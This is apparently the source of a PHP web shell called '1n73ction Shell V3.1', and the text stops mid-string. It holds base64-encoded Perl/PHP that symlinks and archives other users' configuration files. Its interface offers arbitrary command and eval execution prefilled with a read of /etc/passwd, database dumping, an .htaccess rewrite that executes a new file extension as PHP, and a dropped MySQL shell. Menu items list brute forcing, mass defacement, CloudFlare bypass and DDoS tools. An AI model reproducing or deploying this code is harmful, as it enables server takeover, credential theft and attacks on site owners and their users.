ZGlzdC1jb25maWd1cmUucGhwJywka29sYS4nLSB6ZW5jYXJ0IC0gc2hvcC50eHQnKTsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3Nob3AvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwJywka29sYS4nLXNob3AtWkNzaG9wLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvU2V0dGluZ3MucGhwJywka29sYS4nLSBzbWYudHh0Jyk7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zbWYvU2V0dGluZ3MucGhwJywka29sYS4nLSBzbWYgLSBzbWYudHh0Jyk7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9TZXR0aW5ncy5waHAnLCRrb2xhLictIHNtZiAtIGZvcnVtLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW1zL1NldHRpbmdzLnBocCcsJGtvbGEuJy0gc21mIC0gZm9ydW1zLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvdXBsb2FkL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictIHVwbG9hZCAudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2wvY29uZmlnLnBocCcsJGtvbGEuJy0gbWFsYXkudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZy9rb25la3NpLnBocCcsJGtvbGEuJy0gbG9rb21lZGlhLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9zeXN0ZW0vc2lzdGVtLnBocCcsJGtvbGEuJy0gbG9rb21lZGlhLnR4dCcpOyANCiB9DQppZiAoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAnUE9TVCcpIHsNCiAgcmVhZChTVERJTiwgJGJ1ZmZlciwgJEVOVnsnQ09OVEVOVF9MRU5HVEgnfSk7DQp9IGVsc2Ugew0KICAkYnVmZmVyID0gJEVOVnsnUVVFUllfU1RSSU5HJ307DQp9DQpAcGFpcnMgPSBzcGxpdCgvJi8sICRidWZmZXIpOw0KZm9yZWFjaCAkcGFpciAoQHBhaXJzKSB7DQogICgkbmFtZSwgJHZhbHVlKSA9IHNwbGl0KC89LywgJHBhaXIpOw0KICAkbmFtZSA9fiB0ci8rLyAvOw0KICAkbmFtZSA9fiBzLyUoW2EtZkEtRjAtOV1bYS1mQS1GMC05XSkvcGFjaygiQyIsIGhleCgkMSkpL2VnOw0KICAkdmFsdWUgPX4gdHIvKy8gLzsNCiAgJHZhbHVlID1+IHMvJShbYS1mQS1GMC05XVthLWZBLUYwLTldKS9wYWNrKCJDIiwgaGV4KCQxKSkvZWc7DQogICRGT1JNeyRuYW1lfSA9ICR2YWx1ZTsNCn0NCmlmICgkRk9STXtwYXNzfSBlcSAiIil7DQpwcmludCAnDQo8Ym9keSBjbGFzcz0ibmV3U3R5bGUxIj4NCjxwPiZuYnNwOzwvcD4NCjxmb3JtIG1ldGhvZD0icG9zdCI+DQo8dGV4dGFyZWEgbmFtZT0icGFzcyIgc3R5bGU9IndpZHRoOiA1NDNweDsgaGVpZ2h0OiA0MDBweCI+PC90ZXh0YXJlYT4NCjxiciAvPjxiciAvPg0KPGlucHV0IG5hbWU9InRhciIgdHlwZT0idGV4dCIgc3R5bGU9IndpZHRoOiAyMTJweCIgLz48YnIgLz48YnIgLz4NCjxpbnB1dCBuYW1lPSJTdWJtaXQxIiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJIYWphciAuLiEiIHN0eWxlPSJ3aWR0aDogOTlweCIgLz4NCjxiciAvPg0KPC9mb3JtPic7DQp9ZWxzZXsNCkBsaW5lcyA9PCRGT1JNe3Bhc3N9PjsNCiR5ID0gQGxpbmVzOw0Kb3BlbiAoTVlGSUxFLCAiPnRhci50bXAiKTsNCnByaW50IE1ZRklMRSAidGFyIC1jemYgIi4kRk9STXt0YXJ9LiIudGFyICI7DQpmb3IgKCRrYT0wOyRrYTwkeTska2ErKyl7DQp3aGlsZShAbGluZXNbJGthXSAgPX4gbS8oLio/KTp4Oi9nKXsNCiZsaWwoJDEpOw0KcHJpbnQgTVlGSUxFICQxLiIudHh0ICI7DQpmb3IoJGtkPTE7JGtkPDE4OyRrZCsrKXsNCnByaW50IE1ZRklMRSAkMS4ka2QuIi50eHQgIjsNCn0NCn0NCiB9DQpwcmludCc8Ym9keSBjbGFzcz0ibmV3U3R5bGUxIj4NCjxwPkRvbmUgISE8L3A+DQo8cD4mbmJzcDs8L3A+JzsNCmlmKCRGT1JNe3Rhcn0gbmUgIiIpew0Kb3BlbihJTkZPLCAidGFyLnRtcCIpOw0KQGxpbmVzID08SU5GTz4gOw0KY2xvc2UoSU5GTyk7DQpzeXN0ZW0oQGxpbmVzKTsNCnByaW50JzxwPjxhIGhyZWY9IicuJEZPUk17dGFyfS4nLnRhciI+IGRvd25sb2FkICBmaWxlPC9hPjwvcD4nOw0KfQ0KfQ0KIHByaW50Ig0KPC9ib2R5Pg0KPC9odG1sPiI7';
?>
<html><head><link rel="SHORTCUT ICON" href="http://png-3.findicons.com/files/icons/1935/red_gems_vol_2/128/r2_dragon.png"><title>=[ 1n73ct10n privat shell ]=</title>
<script type="text/javascript">
function tukar(lama,baru){
document.getElementById(lama).style.display = 'none';
document.getElementById(baru).style.display = 'block';
}
</script>
<style type="text/css">
body{
background:#000000;;
}
a {
text-decoration:none;
}
a:hover{
border-bottom:1px solid #00ff00;
}
*{
font-size:11px;
font-family:Tahoma,Verdana,Arial;
color:#00ff00;
}
#menu{
background:#111111;
margin:8px 2px 4px 2px;
}
#menu a{
padding:4px 18px;
margin:0;
background:#222222;
text-decoration:none;
letter-spacing:2px;
-moz-border-radius: 5px; -webkit-border-radius: 5px; -khtml-border-radius: 5px; border-radius: 5px;
}
#menu a:hover{
background:#191919;
border-bottom:1px solid #333333;
border-top:1px solid #333333;
}
.tabnet{
margin:15px auto 0 auto;
border: 1px solid #333333;
}
.main {
width:100%;
}
.gaya {
color: #00ff00;
}
.inputz{
background:#111111;
border:0;
padding:2px;
border-bottom:1px solid #222222;
border-top:1px solid #222222;
}
.inputzbut{
background:#111111;
color:#00ff00;
margin:0 4px;
border:1px solid #444444;
}
.inputz:hover, .inputzbut:hover{
border-bottom:1px solid #00ff00;
border-top:1px solid #00ff00;
}
.output {
margin:auto;
border:1px solid #00ff00;
width:100%;
height:400px;
background:#000000;
padding:0 2px;
}
.cmdbox{
width:100%;
}
.head_info{
padding: 0 4px;
}
.jaya{ font-family: ;}
.b374k{
font-size:30px;
padding:0;
color:#444444;
}
.b374k_tbl{
text-align:center;
margin:0 4px 0 0;
padding:0 4px 0 0;
border-right:1px solid #333333;
}
.phpinfo table{
width:100%;
padding:0 0 0 0;
}
.phpinfo td{
background:#111111;
color:#cccccc;
padding:6px 8px;;
}
.phpinfo th, th{
background:#191919;
border-bottom:1px solid #333333;
font-weight:normal;
}
.phpinfo h2, .phpinfo h2 a{
text-align:center;
font-size:16px;
padding:0;
margin:30px 0 0 0;
background:#222222;
padding:4px 0;
}
.explore{
width:100%;
}
.explore a {
text-decoration:none;
}
.explore td{
border-bottom:1px solid #333333;
padding:0 8px;
line-height:24px;
}
.explore th{
padding:3px 8px;
font-weight:normal;
}
.explore th:hover , .phpinfo th:hover{
border-bottom:1px solid #00ff00;
}
.explore tr:hover{
background:#111111;
}
.viewfile{
background:#EDECEB;
color:#000000;
margin:4px 2px;
padding:8px;
}
.sembunyi{
display:none;
padding:0;margin:0;
}
</style></head>
<script language='javascript'>
if (document.all||document.getElementById){
var thetitle=document.title
document.title=''
}
var data="Us3 Y0ur br41n biTch ! ! !";
var done=1;
function statusIn(text){
decrypt(text,22,22);
}
function statusOut(){
self.status='';
done=1;
}
function decrypt(text, max, delay){
if (done){
done = 0;
rantit(text, max, delay, 0, max);
}
}
function rantit(text, runs_left, delay, charvar, max){
if (!done){
runs_left = runs_left - 1;
var status = text.substring(0,charvar);
for(var current_char = charvar; current_char < text.length; current_char++){
status += data.charAt(Math.round(Math.random()*data.length));
}
document.title = status;
var rerun = "rantit('" + text + "'," + runs_left + "," + delay + "," + charvar + "," + max + ");"
var new_char = charvar + 1;
var next_char = "rantit('" + text + "'," + max + "," + delay + "," + new_char + "," + max + ");"
if(runs_left > 0){
setTimeout(rerun, delay);
}
else{
if (charvar < text.length){
setTimeout(next_char, Math.round(delay*(charvar+3)/(charvar+1)));
}
else
{
done = 1;
}
}
}
}
if (document.all||document.getElementById)
statusIn(thetitle)
</script>
<body onLoad="document.getElementById('cmd').focus();">
<div class="main">
<!-- head info start here -->
<div class="head_info">
<table ><tr>
<td><table class="b374k_tbl"><tr><td><a href="?"><span class="b374k"><img src="http://www.fbvideo.16mb.com/files/1n73ction.png" /></span></a></td></tr><tr><td><b>1n73ction Shell V3.1 [ Special Edition ]</b></td></tr></table></td>
<td><?php
echo $buff;
?></td>
</tr></table>
</div>
<!-- head info end here -->
<!-- menu start -->
<center><div id="menu">
<a href="?<?php
echo "y=" . $pwd;
?>"><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAN1gAADdYBkG95nAAAAAd0SU1FB9oJBxQ2GRnu/TgAAAJzSURBVDjLtZLPSxtBHMXf5semZDfS7KpIaWzRShoFD5UK9h6ai5eCPfZkwYJ4kF566a30H0gF24BUqDdjBT1VCFIsNBUWEw+ha2obpDGUXGR1Z7KZ+fbQRky1vfULAzPD4/MeMw/4H7O6ugoAsG17tFwuJwFgd3f3Qq3yN0g+n7+r6/oKgEtQMDWYGHx5kc539rC4uAgA2Hy/OaGq6oplWaVcLmdxxl9YlvUEALa2tv6dYGPjXSoS6chWKpWKaZpdoVBIL5VK+0NDQ/1END02NjZ/LsHc3BwAYG1tbSIYVLOFQuGzpmldgUDAkFKqvb2917a3t23GWDqXyz0BgPX19fYEy8vLKV3XswcHBxXDMLoikYghpaRW0kajwfbK5W834/F+ANOpVGr+FLC0tHRf0/TX+/tf7J6eniuappkA6IwBtSC2bX9NJBIDRPT05OTkuTL1aKpj9Pbox1qtdmgYxlXTNG8QEV3wPgRAcV23bllWfmRkZNh13VuKpmnBvr6+O1LK2szMzNtwOBxviYUQUBQFPp+vBYCU8jCTyaSOj48vA/hw6jI+Ph5JJpOfwuFwnIjAGKsvLCw8cxxHTE4+fGwY0RgRgYi+O44zPDs7W2/rgeu6CmMMjDFwziGE+JFIJF5Vq9VMs+kdcs7BOQdjDEdHR6fGgdZGCAHOOfx+P4gIQggZjUaps9OkRqNBjDHQr1E8z8M5QLVaheM4TZ/fBxDQbDZVz/MgJYFzHlRVFURQms2GqNfr4qIm+mOx2L3u7u5hKSVCIXVPSvGmsFNUBuLxB8FA4DoAeJ63UywWswBk2x+l0+kW0P97KX80tnXfNj8B5NE5DOMV2T0AAAAASUVORK5CYII=' height="18" width="34"></a>
<a href="?<?php
echo "y=" . $pwd;
?>&x=shell">Shell</a>
<a href="?<?php
echo "y=" . $pwd;
?>&x=php">Eval</a>
<a href="?<?php
echo "y=" . $pwd;
?>&x=sql">Mysql</a>
<a href="?<?php
echo "y=" . $pwd;
?>&x=dump">Database Dump</a>
<a href="?<?php
echo "y=" . $pwd;
?>&x=phpinfo">Php Info</a>
<a href="?<?php
echo "y=" . $pwd;
?>&x=netsploit">Net Sploit</a>
<a href="?<?php
echo "y=" . $pwd;
?>&x=upload">Upload</a>
<a href="?<?php
echo "y=" . $pwd;
?>&x=mail">E-Mail</a>
<a href="?<?php
echo "y=" . $pwd;
?>&x=sqli-scanner">SQLI Scan</a>
<a href="?<?php
echo "y=" . $pwd;
?>&x=port-sc">Port Scan</a>
<a href="?<?php
echo "y=" . $pwd;
?>&x=dos">Ddos</a>
<a href="?<?php
echo "y=" . $pwd;
?>&x=tool">Tools</a>
<a href="?<?php
echo "y=" . $pwd;
?>&x=python">python</a>
<a href="?<?php
echo "y=" . $pwd;
?>&x=symlink">Symlink</a><br><br>
<a href="?<?php
echo "y=" . $pwd;
?>&x=config">Config</a>
<a href="?<?php
echo "y=" . $pwd;
?>&x=bypass">Bypass</a>
<a href="?<?php
echo "y=" . $pwd;
?>&x=cgi">CgiShell</a>
<a href="?<?php
echo "y=" . $pwd;
?>&x=cgi2012">CGI Telnet 2012</a>
<a href="?<?php
echo "y=" . $pwd;
?>&x=domain">Domain</a>
<a href="?<?php
echo "y=" . $pwd;
?>&x=jodexer">Joomla IndChange</a>
<a href="?<?php
echo "y=" . $pwd;
?>&x=vb">VB IndChange</a>
<a href="?<?php
echo "y=" . $pwd;
?>&x=wp-reset">Wordpress ResPass</a>
<a href="?<?php
echo "y=" . $pwd;
?>&x=jm-reset">Joomla ResPass</a>
<a href="?<?php
echo "y=" . $pwd;
?>&x=whmcs">WHMCS Decoder</a>
<a href="?<?php
echo "y=" . $pwd;
?>&x=zone">Zone-H</a><br><br>
<a href="?<?php
echo "y=" . $pwd;
?>&x=mass">Mass Deface</a>
<a href="?<?php
echo "y=" . $pwd;
?>&x=wpbrute">Wordpress BruteForce</a>
<a href="?<?php
echo "y=" . $pwd;
?>&x=jbrute">Joomla BruteForce</a>
<a href="?<?php
echo "y=" . $pwd;
?>&x=brute">Cpanel BruteForce</a>
<a href="?<?php
echo "y=" . $pwd;
?>&x=bypass-cf">Bypass CloudFlare</a>
<a href="?<?php
echo "y=" . $pwd;
?>&x=adfin">Admin Finder</a>
<a href="?<?php
echo "y=" . $pwd;
?>&x=hash">Password Hash</a>
<a href="?<?php
echo "y=" . $pwd;
?>&x=hashid">Hash ID</a>
<a href="?<?php
echo "y=" . $pwd;
?>&x=string">Script Encode</a><br><br>
<a href="?<?php
echo "y=" . $pwd;
?>&x=whois">Website Whois</a>
<a href="?<?php
echo "y=" . $pwd;
?>&x=jss">Joomla Server Scanner</a>
<a href="?<?php
echo "y=" . $pwd;
?>&x=cms_detect">Cms Detector</a>
<a href="?<?php
echo "y=" . $pwd;
?>&x=tutor">Tutorial & Ebook</a>
<a href="?<?php
echo "y=" . $pwd;
?>&x=about">About</a>
<a href="?<?php
echo "y=" . $pwd;
?>&x=logout">Log-Out</a>
</div></center>
<!-- menu end -->
<?php
@ini_set('display_errors', 0);
if (isset($_GET['x']) && $_GET['x'] == 'php') {
?>
<form action="?y=<?php
echo $pwd;
?>&x=php" method="post">
<table class="cmdbox">
<tr><td>
<textarea class="output" name="cmd" id="cmd">
<?php
if (isset($_POST['submitcmd'])) {
echo eval(magicboom($_POST['cmd']));
} else {
echo "echo file_get_contents('/etc/passwd');";
}
?>
</textarea>
<tr><td><input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="submitcmd" /></td></tr></form>
</table>
</form>
<?php
} elseif (isset($_GET['x']) && $_GET['x'] == 'sql') {
?>
<form action="?y=<?php
echo $pwd;
?>&x=sql" method="post">
<?php
echo "<center/><br/><b><font color=#00ff00>+--==[ Mysql Interface ]==--+</font></b><br><br>";
mkdir('mysql', 0755);
chdir('mysql');
$akses = ".htaccess";
$buka_lah = ".htaccess";
$buka = fopen($buka_lah, 'w') or die("Error cuyy!");
$metin = "Options FollowSymLinks MultiViews Indexes ExecCGI\r\nAddType application/x-httpd-php .cpc\r\n";
fwrite($buka, $metin);
fclose($buka);
$sqlshell = 'PD8NCiRQQVNTV09SRCA9ICJyb290X3hoYWhheCI7DQokVVNFUk5BTUUgPSAieGhhaGF4IjsNCmlmICggZnVuY3Rpb25fZXhpc3RzKCdpbmlfZ2V0JykgKSB7DQoJJG9ub2ZmID0gaW5pX2dldCgncmVnaXN0ZXJfZ2xvYmFscycpOw0KfSBlbHNlIHsNCgkkb25vZmYgPSBnZXRfY2ZnX3ZhcigncmVnaXN0ZXJfZ2xvYmFscycpOw0KfQ0KaWYgKCRvbm9mZiAhPSAxKSB7DQoJQGV4dHJhY3QoJEhUVFBfU0VSVkVSX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfQ09PS0lFX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfUE9TVF9GSUxFUywgRVhUUl9TS0lQKTsNCglAZXh0cmFjdCgkSFRUUF9QT1NUX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfR0VUX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfRU5WX1ZBUlMsIEVYVFJfU0tJUCk7DQp9DQoNCmZ1bmN0aW9uIGxvZ29uKCkgew0KCWdsb2JhbCAkUEhQX1NFTEY7DQoJc2V0Y29va2llKCAibXlzcWxfd2ViX2FkbWluX3VzZXJuYW1lIiApOw0KCXNldGNvb2tpZSggIm15c3FsX3dlYl9hZG1pbl9wYXNzd29yZCIgKTsNCglzZXRjb29raWUoICJteXNxbF93ZWJfYWRtaW5faG9zdG5hbWUiICk7DQoJZWNobyAiPHRhYmxlIHdpZHRoPTEwMCUgaGVpZ2h0PTEwMCU+PHRyPjx0ZD48Y2VudGVyPlxuIjsNCgllY2hvICI8dGFibGUgY2VsbHBhZGRpbmc9Mj48dHI+PHRkPjxjZW50ZXI+XG4iOw0KCWVjaG8gIjx0YWJsZSBjZWxscGFkZGluZz0yMD48dHI+PHRkPjxjZW50ZXI+XG4iOw0KCWVjaG8gIjxoMT5NeVNRTCBJbnRlcmZhY2UgQnkgUzRNUDRIPC9oMT5cbiI7DQoJZWNobyAiPGZvcm0gYWN0aW9uPSckUEhQX1NFTEYnPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9Ykc5bmIyNWZjM1ZpYldsMD5cbiI7DQoJZWNobyAiPHRhYmxlIGNlbGxwYWRkaW5nPTUgY2VsbHNwYWNpbmc9MT5cbiI7DQoJZWNobyAiPHRyPjx0ZCBjbGFzcz1cIm5ld1wiPkhvc3RuYW1lIDwvdGQ+PHRkPiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9aG9zdG5hbWUgdmFsdWU9J2xvY2FsaG9zdCc+PC90ZD48L3RyPlxuIjsNCgllY2hvICI8dHI+PHRkIGNsYXNzPVwibmV3XCI+VXNlcm5hbWUgPC90ZD48dGQ+IDxpbnB1dCB0eXBlPXRleHQgbmFtZT11c2VybmFtZT48L3RkPjwvdHI+XG4iOw0KCWVjaG8gIjx0cj48dGQgY2xhc3M9XCJuZXdcIj5QYXNzd29yZCA8L3RkPjx0ZD4gPGlucHV0IHR5cGU9cGFzc3dvcmQgbmFtZT1wYXNzd29yZD48L3RkPjwvdHI+XG4iOw0KCWVjaG8gIjwvdGFibGU+PHA+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nRW50ZXInPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1yZXNldCB2YWx1ZT0nQ2xlYXInPjxicj5cbiI7DQoJZWNobyAiPC9mb3JtPlxuIjsNCgllY2hvICI8L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT5cbiI7DQoJZWNobyAiPC9jZW50ZXI+PC90ZD48L3RyPjwvdGFibGU+XG4iOw0KCWVjaG8gIjxwPjxociB3aWR0aD0zMDA+XG4iOw0KCWVjaG8gIjwvY2VudGVyPjwvdGQ+PC90cj48L3RhYmxlPlxuIjsNCn0NCg0KZnVuY3Rpb24gbG9nb25fc3VibWl0KCkgew0KCWdsb2JhbCAkdXNlcm5hbWUsICRwYXNzd29yZCwgJGhvc3RuYW1lICwkUEhQX1NFTEY7DQoJaWYoJGhvc3RuYW1lID09JycpDQoJCSRob3N0bmFtZSA9ICdsb2NhbGhvc3QnOw0KCXNldGNvb2tpZSggIm15c3FsX3dlYl9hZG1pbl91c2VybmFtZSIsICR1c2VybmFtZSApOw0KCXNldGNvb2tpZSggIm15c3FsX3dlYl9hZG1pbl9wYXNzd29yZCIsICRwYXNzd29yZCApOw0KCXNldGNvb2tpZSggIm15c3FsX3dlYl9hZG1pbl9ob3N0bmFtZSIsICRob3N0bmFtZSApOw0KCWVjaG8gIjxNRVRBIEhUVFAtRVFVSVY9UmVmcmVzaCBDT05URU5UPScwOyBVUkw9JFBIUF9TRUxGP2FjdGlvbj1iR2x6ZEVSQ2N3PT0nPiI7DQp9DQoNCmZ1bmN0aW9uIGVjaG9RdWVyeVJlc3VsdCgpIHsNCglnbG9iYWwgJHF1ZXJ5U3RyLCAkZXJyTXNnOw0KCWlmKCAkZXJyTXNnID09ICIiICkgJGVyck1zZyA9ICJTdWNjZXNzIjsNCglpZiggJHF1ZXJ5U3RyICE9ICIiICkgew0KCQllY2hvICI8dGFibGUgY2VsbHBhZGRpbmc9NT5cbiI7DQoJCWVjaG8gIjx0cj48dGQ+UXVlcnk8L3RkPjx0ZD4kcXVlcnlTdHI8L3RkPjwvdHI+XG4iOw0KCQllY2hvICI8dHI+PHRkPlJlc3VsdDwvdGQ+PHRkPiRlcnJNc2c8L3RkPjwvdHI+XG4iOw0KCQllY2hvICI8L3RhYmxlPjxwPlxuIjsNCgl9DQp9DQoNCmZ1bmN0aW9uIGxpc3REYXRhYmFzZXMoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJFBIUF9TRUxGOw0KCWVjaG8gIjxoMT5EYXRhYmFzZXMgTGlzdDwvaDE+XG4iOw0KCWVjaG8gIjxmb3JtIGFjdGlvbj0nJFBIUF9TRUxGJz5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0aW9uIHZhbHVlPWNyZWF0ZURCPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT10ZXh0IG5hbWU9ZGJuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0NyZWF0ZSBEYXRhYmFzZSc+XG4iOw0KCWVjaG8gIjwvZm9ybT5cbiI7DQoJZWNobyAiPGhyPlxuIjsNCgllY2hvICI8dGFibGUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz01PlxuIjsNCgkkcERCID0gbXlzcWxfbGlzdF9kYnMoICRteXNxbEhhbmRsZSApOw0KCSRudW0gPSBteXNxbF9udW1fcm93cyggJHBEQiApOw0KCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCSRkYm5hbWUgPSBteXNxbF9kYm5hbWUoICRwREIsICRpICk7DQoJCWVjaG8gIjx0cj5cbiI7DQoJCWVjaG8gIjx0ZD4kZGJuYW1lPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWxpc3RUYWJsZXMmZGJuYW1lPSRkYm5hbWUnPlRhYmxlczwvYT48L3RkPlxuIjsNCgkJZWNobyAiPHRkPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZHJvcERCJmRibmFtZT0kZGJuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0Ryb3AgRGF0YWJhc2UgXCckZGJuYW1lXCc/JylcIj5Ecm9wPC9hPjwvdGQ+XG4iOw0KCQllY2hvICI8dGQ+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kdW1wREImZGJuYW1lPSRkYm5hbWUnIG9uQ2xpY2s9XCJyZXR1cm4gY29uZmlybSgnRHVtcCBEYXRhYmFzZSBcJyRkYm5hbWVcJz8nKVwiPkR1bXA8L2E+PC90ZD5cbiI7DQoJCWVjaG8gIjwvdHI+XG4iOw0KCX0NCgllY2hvICI8L3RhYmxlPlxuIjsNCn0NCg0KZnVuY3Rpb24gY3JlYXRlRGF0YWJhc2UoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJFBIUF9TRUxGOw0KCW15c3FsX2NyZWF0ZV9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJbGlzdERhdGFiYXNlcygpOw0KfQ0KDQpmdW5jdGlvbiBkcm9wRGF0YWJhc2UoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJFBIUF9TRUxGOw0KCW15c3FsX2Ryb3BfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOw0KCWxpc3REYXRhYmFzZXMoKTsNCn0NCg0KZnVuY3Rpb24gbGlzdFRhYmxlcygpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkUEhQX1NFTEY7DQoJZWNobyAiPGgxPlRhYmxlcyBMaXN0PC9oMT5cbiI7DQoJZWNobyAiPHAgY2xhc3M9bG9jYXRpb24+JGRibmFtZTwvcD5cbiI7DQoJZWNob1F1ZXJ5UmVzdWx0KCk7DQoJZWNobyAiPGZvcm0gYWN0aW9uPSckUEhQX1NFTEYnPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9Y3JlYXRlVGFibGU+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRibmFtZSB2YWx1ZT0kZGJuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT10ZXh0IG5hbWU9dGFibGVuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0NyZWF0ZSBUYWJsZSc+XG4iOw0KCWVjaG8gIjwvZm9ybT5cbiI7DQoJZWNobyAiPGZvcm0gYWN0aW9uPSckUEhQX1NFTEYnPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9cXVlcnk+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRibmFtZSB2YWx1ZT0kZGJuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT10ZXh0IHNpemU9MTIwIG5hbWU9cXVlcnlTdHI+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nUXVlcnknPlxuIjsNCgllY2hvICI8L2Zvcm0+XG4iOw0KCWVjaG8gIjxocj5cbiI7DQoJJHBUYWJsZSA9IG15c3FsX2xpc3RfdGFibGVzKCAkZGJuYW1lICk7DQoJaWYoICRwVGFibGUgPT0gMCApIHsNCgkJJG1zZyAgPSBteXNxbF9lcnJvcigpOw0KCQllY2hvICI8aDM+RXJyb3IgOiAkbXNnPC9oMz48cD5cbiI7DQoJCXJldHVybjsNCgl9DQoJJG51bSA9IG15c3FsX251bV9yb3dzKCAkcFRhYmxlICk7DQoJZWNobyAiPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9NT5cbiI7DQoJZm9yKCAkaSA9IDA7ICRpIDwgJG51bTsgJGkrKyApIHsNCgkJJHRhYmxlbmFtZSA9IG15c3FsX3RhYmxlbmFtZSggJHBUYWJsZSwgJGkgKTsNCgkJZWNobyAiPHRyPlxuIjsNCgkJZWNobyAiPHRkPlxuIjsNCgkJZWNobyAiJHRhYmxlbmFtZVxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dmlld1NjaGVtYSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+U2NoZW1hPC9hPlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5EYXRhPC9hPlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZHJvcFRhYmxlJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0Ryb3AgVGFibGUgXCckdGFibGVuYW1lXCc/JylcIj5Ecm9wPC9hPlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZHVtcFRhYmxlJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0R1bXAgVGFibGUgXCckdGFibGVuYW1lXCc/JylcIj5EdW1wPC9hPlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjwvdHI+XG4iOw0KCX0NCgllY2hvICI8L3RhYmxlPiI7DQp9DQoNCmZ1bmN0aW9uIGNyZWF0ZVRhYmxlKCkgew0KDQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7DQoJJHF1ZXJ5U3RyID0gIkNSRUFURSBUQUJMRSAk